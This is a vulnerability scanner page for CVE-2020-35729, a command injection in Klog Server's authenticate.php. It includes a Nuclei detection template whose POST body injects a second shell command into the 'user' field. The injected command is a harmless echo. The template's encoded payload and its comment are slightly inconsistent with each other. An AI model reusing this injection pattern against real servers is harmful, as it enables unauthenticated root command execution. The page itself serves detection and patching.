Klog Server <=2.41 - Unauthenticated Command Injection

criticalseverity

9.8CVSS score

88.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.

Impact

An attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system.

Fix

Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch.

How to confirm it

Send: POST {{BaseURL}}/actions/authenticate.php
Positive when: contains "poc-testing"

Run it with nuclei: nuclei -id CVE-2020-35729 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-35729

info:
  name: Klog Server <=2.41 - Unauthenticated Command Injection
  author: dwisiswant0
  severity: critical
  description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
  impact: |
    An attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system.
  remediation: |
    Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch.
  reference:
    - https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35729
    - https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code
    - https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35729
    cwe-id: CWE-78
    epss-score: 0.88099
    epss-percentile: 0.99768
    cpe: cpe:2.3:a:klogserver:klog_server:2.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: klogserver
    product: klog_server
  tags: cve,cve2020,klog,rce,klogserver,vuln
variables:
  dummy: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/actions/authenticate.php"

    body: 'user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
    matchers:
      - type: word
        words:
          - "poc-testing" # from Base64 decoding payload

References

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